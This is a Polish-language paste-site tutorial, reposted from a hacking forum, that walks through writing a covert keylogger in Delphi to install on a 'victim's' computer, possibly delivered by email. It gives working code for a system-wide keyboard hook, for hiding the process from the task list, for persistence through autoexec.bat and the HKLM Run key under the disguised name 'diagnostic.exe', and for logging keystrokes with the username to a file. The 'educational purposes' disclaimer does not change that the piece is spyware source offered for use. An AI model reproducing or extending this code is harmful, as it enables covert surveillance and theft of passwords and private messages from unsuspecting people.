JustPaste.it

Keylogger w delphi cz1

Artykuł napisany jedynie w celach edukacyjnych. Wszystko co zrobisz/zamieszasz zrobić bedziesz musiał wziąść na swoją odpowiedzialność.

keylogger by frodo


Witajcie, art pokaże jak napisać prostego, ale efektownego keyloggera. Zastanówmy się jak musi wyglądać praca naszego programiku.
1. odpalasz plik i:
a) 'nic się nie dzieje',
b) pokazuje się krótki komunikat (np. Zainstalowane),
c) otwiera się okienko do ustawienia 'co, jak i gdzie?'.

Aby wybrać odpowiedni rodzaj, zastanówmy się kto uruchomi keylogger'a. Jeśli to my instalujemy go na kompie ofiary, to najlepiej jest chyba wybrać 'c', ew. 'b'. Ale raczej wyślemy go np. pocztą lub ofiara go odpali. Więc lepiej (bardziej universalnie) jest wybrać opcję 'a'.

2. plik zapisuje się w (chodzi o autostart):
a) rejestrze,
b) w autostarcie,
c) w autoexecu.

Ja czasami daje wszędzie, ale może tym razem, należałoby zadbać o dyskrecję. Proponuję w rejestrze w HKEY_LOCAL_MACHINE i w autoexecu.

3. jak będzie to działać?

Kiedy uruchamiasz ten plik, on dodaje wpis do rejestru. Oczywiście jest ukryty przed systemem, żeby nie było go widać po naciśnieciu ctrl+alt+del. Nie pokazuje się forma i nie ma go na pasku zadań. Natomiast możemy wrzucić go traya (najlepiej z jakąś systemową ikonką). Na (ukrytej) formie jest Memo, do którego wczytują sie naciśnięte klawisze. Dodajemy funkcje, która wykryje próbę zamknięcia systemu. Wtedy kopiujemy z Memo do pliku. W pliku zapisujemy nazwę użytkownika, datę, czas działania kompa. A sam plik zapisujemy na c:, pod nazwą, liczby losowej (tak dla nie poznaki) + 'key' ;). Możemy dodać też funkcję, wysyłającą nam plik na maila. Jeśli chcecie szpiegować dalekich kolegów, to wręcz obowiązek, bo inaczej może być mało wygodnie.

4. Czas zabrać się do pracy.
Uruchamiamy Delphi (mam wersje numer 7, więc weźcie poprawke na niektóre rzeczy). Zacznijmy od końca, czyli zdobądźmy komponent odpowiadający za traya. Polecam CoolTray'a. Teraz wrzucamy go na formę i zmieniamy ShowHint na false, a MinimizeToTray na true. No tak, a jeśli się uruchomi to zobaczy forme i zamknie. Pomyslicie. Dlatego też na formie zmieniamy WindowState na Minimized.
Jeśli ktoś nie chce takiej opcji to może być inna. Mianowicie dodajemy do onCreate: form1.Hide;
Ale musielibyśmy się pozbyć jeszcze wyświetlania na pasku zadań.

Dobra teraz coś poważnego, czyli... złapanie naciskanych klawiszy. Wystarczy, że wkleicie ten kawałek kodu. I wrzucicie na formę Memo (jeśli jeszcze tego nie zrobiliście). Oto kod:

var
Hook:Integer;
MessageBuffer:TEventMsg;

function Play(Code: integer; wParam, lParam: Longint): Longint; stdcall;
begin
case Code of
HC_ACTION: begin
MessageBuffer := PEventMsg(lParam)^;
if MessageBuffer.message = wm_KeyDown then
begin
Form1.Memo1.Text := Form1.Memo1.Text + chr(MessageBuffer.paraml);
Result := 0;
end;
end;

else begin
Result := CallNextHookEx(Hook, Code, wParam, lParam);
end;
end;
end;

procedure TForm1.FormCreate(Sender: TObject);
begin
Hook := SetWindowsHookEx(wh_journalrecord, play, HInstance, 0);
end;

procedure TForm1.FormDestroy(Sender: TObject);
begin
UnHookWindowsHookEx(Hook);
end;



Nie zabardzo wiem cóż można o tym kawałku powiedzieć. Moge podać za to wadę. Kiedy ofiara naciśnie np. enter w naszym keyloggerze, nie ujrzymy słodkiego tylko '|'. To tyczy się wszystkich takich 'innych' klawiszy (brak mi fachowego określenia) np. tab, enter, esc itd.

5. Robimy nasz programik 'nie wykrywalnym'.

Dobra, żeby ukryć go w aktivnych procesach (ctrl+alt+del) dajemy to:

function registerserviceprocess(pid,blah:longint):boolean;
stdcall; external 'kernel32.dll' name 'RegisterServiceProcess';



A do onCreate formy: registerserviceprocess(0,1); .

6. Aplikujemy nasz programik do autostartu.

Skoro ustaliliśmy, że w autoexec.bat, to tak robimy.

var
Plik : TextFile;
begin
AssignFile(Plik,'C:autoexec.bat');
Append(Plik);
Writeln(Plik,'C:Windowsdiagnostic.exe');
CloseFile(Plik);
end;



Nie ma zabardzo co komentować, ale wyjaśnię, że nasz plik (keylogger) nazywam diagnostic.exe dla 'zaakceptowania' go przez lamera, przy ew. próbie wyzbycia się śmiecia.

I jeszcze obiecany rejestr:

var
Reg : TRegistry;
begin
Reg := TRegistry.Create;
Reg.RootKey := HKEY_LOCAL_MACHINE;
try
Reg.OpenKey('SOFTWAREMicrosoftWindowsCurrentVersionRun',False);
Reg.WriteString('Diagnostic', 'C:Windowsdiagnostic.exe');
finally
Reg.CloseKey;
Reg.Free;
end;


A tu już chyba wszystko zrozumiałe jest, nawet dla całkiem nowego programisty.

7. Zapisuj nasze klawisze.

Do onClose dodajemy coś takiego:

var
Plik : TextFile;
numer : string;
User : String;
Buff : DWORD;
begin
Buff := 12;
SetLength(User, Buff);
GetUserName(PChar(User), Buff);

numer := IntToStr(Llosowa);

AssignFile(Plik, numer + 'key.txt');
Rewrite(Plik);
Writeln(Plik, Memo1.Text);
Writeln(Plik, 'Zalogowany user: ' + User);
CloseFile(Plik);
end;



Jak już obiecywałem, plik będzie się nazywał losowa 1-100 + key. A w pliczku będziemy zapisywać oprócz klawiszy, nazwę usera.
Jeszcze do onCreate dajemy coś co zamknie programik:
if WM_QUERYENDSESSION and WM_ENDSESSION = 1 then close;

8. Wysyłanie pliku na maila.
W kolejnej częsći. Jeśli mi jeszcze pisać pozwolą. ;)

 

Źródło: HackingPlanet.org. Treść udostępniona na zasadach licencji Creative Commons Attribution

 

Autor: Dominium

Licencja: Creative Commons